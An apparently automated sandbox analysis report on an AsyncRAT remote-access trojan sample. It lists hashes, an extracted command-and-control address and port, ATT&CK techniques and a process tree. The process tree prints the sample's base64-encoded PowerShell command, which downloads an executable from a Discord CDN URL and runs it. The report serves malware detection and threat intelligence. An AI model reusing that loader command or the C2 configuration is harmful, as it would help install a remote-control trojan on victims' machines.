asyncrat | c4a7879913019bb57160451e088ea2cd02386406204af973201ce7ac507c186c

General

Target

KXCBDS21.exe
Size

6KB
MD5

6645e5ca45fe6a10f0b8074e6eb9446d
SHA1

55f764b18942e6ec6ae6c8b98cf2cf465cec3d28
SHA256

c4a7879913019bb57160451e088ea2cd02386406204af973201ce7ac507c186c
SHA512

75310173106c1be9adbd374de49408d96dd024fd7c853195f35bfe8bbf4cf12c0b2be2af3c388dfe35c1f083140a1716b1221772911a2af69cc7166be19163d0
SSDEEP

96:MmvzgD79ClVCFjoYD9uJLNjNTyAYxsNvk+W+jD1TIoDcW33jJWw3d3ojXrl:MmU9CKFrDsNjNLYuvkkeW33jJWed8

Score

10^/10

asyncrat defendersmartscren rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

DefenderSmartScren

C2

217.64.31.3:8437

Mutex

DefenderSmartScren

Attributes

delay
3
install
false
install_file
SecurityHealtheurvice.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1524-149-0x0000000000530000-0x0000000000542000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

29 4448 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

JDSDS4.exe

pid process

1764 JDSDS4.exe

flow	pid	process
29	4448	powershell.exe

pid	process
1764	JDSDS4.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

KXCBDS21.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	KXCBDS21.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

JDSDS4.exe

description pid process target process

PID 1764 set thread context of 1524 1764 JDSDS4.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4448 powershell.exe
4448 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeJDSDS4.exe

description pid process

Token: SeDebugPrivilege 4448 powershell.exe
Token: SeDebugPrivilege 1764 JDSDS4.exe

description	pid	process	target process
PID 1764 set thread context of 1524	1764	JDSDS4.exe	RegAsm.exe

pid	process
4448	powershell.exe
4448	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	1764	JDSDS4.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

KXCBDS21.exepowershell.exeJDSDS4.exe

description	pid	process	target process
PID 4308 wrote to memory of 4448	4308	KXCBDS21.exe	powershell.exe
PID 4308 wrote to memory of 4448	4308	KXCBDS21.exe	powershell.exe
PID 4448 wrote to memory of 1764	4448	powershell.exe	JDSDS4.exe
PID 4448 wrote to memory of 1764	4448	powershell.exe	JDSDS4.exe
PID 4448 wrote to memory of 1764	4448	powershell.exe	JDSDS4.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe
PID 1764 wrote to memory of 1524	1764	JDSDS4.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\KXCBDS21.exe
"C:\Users\Admin\AppData\Local\Temp\KXCBDS21.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAZQBnACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAA5ADQAMQAwADIAMQA3ADQAMgAwADUAMwAzADgAMgAwAC8AMQAwADQAOQA0ADEANwA1ADQANAA5ADQAMAA5ADMAMwAxADUAMAAvAGwAYwBvAG0AcABsAGMAbQBwAG8ALgBlAHgAZQAnACwAIAA8ACMAdQBhAGkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBzAG4AagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHAAaAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBKAEQAUwBEAFMANAAuAGUAeABlACcAKQApADwAIwB3AHAAeAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAG4AawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBkAGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASgBEAFMARABTADQALgBlAHgAZQAnACkAPAAjAGUAYgBoACMAPgA="
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448

C:\Users\Admin\AppData\Roaming\JDSDS4.exe
"C:\Users\Admin\AppData\Roaming\JDSDS4.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:1524

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\JDSDS4.exe
Filesize
14.7MB

MD5
6f6b812c166e53dc9b52b9b60e5ed369

SHA1
e60cf5e718c030182dec6f7fbbbbf884fcdfcca1

SHA256
ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0

SHA512
8e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9

Download Submit
C:\Users\Admin\AppData\Roaming\JDSDS4.exe
Filesize
14.7MB

MD5
6f6b812c166e53dc9b52b9b60e5ed369

SHA1
e60cf5e718c030182dec6f7fbbbbf884fcdfcca1

SHA256
ffead35df6bc101476d76393619fe0a06a57d93927417d9bcf814d2e4c6b36a0

SHA512
8e8e5fe21f4b08a053255beb0f4e55f03e0114e7fa2117b8ef8320e7fd88275771394cd9a7e4237793b370f980ff7ed45a6ff78d3d97d59cd077868e7602f4b9

Download Submit
memory/1524-149-0x0000000000530000-0x0000000000542000-memory.dmp

Filesize
72KB

Download
memory/1524-147-0x0000000000000000-mapping.dmp

Download
memory/1764-144-0x0000000006F00000-0x00000000074A4000-memory.dmp

Filesize
5.6MB

Download
memory/1764-139-0x0000000000000000-mapping.dmp

Download
memory/1764-143-0x00000000003F0000-0x00000000012A2000-memory.dmp

Filesize
14.7MB

Download
memory/1764-145-0x0000000006580000-0x0000000006612000-memory.dmp

Filesize
584KB

Download
memory/1764-146-0x00000000066D0000-0x000000000676C000-memory.dmp

Filesize
624KB

Download
memory/4308-137-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/4308-132-0x0000000000580000-0x0000000000588000-memory.dmp

Filesize
32KB

Download
memory/4308-134-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/4448-138-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/4448-136-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/4448-135-0x000001807E8E0000-0x000001807E902000-memory.dmp

Filesize
136KB

Download
memory/4448-142-0x00007FFAD9D50000-0x00007FFADA811000-memory.dmp

Filesize
10.8MB

Download
memory/4448-133-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads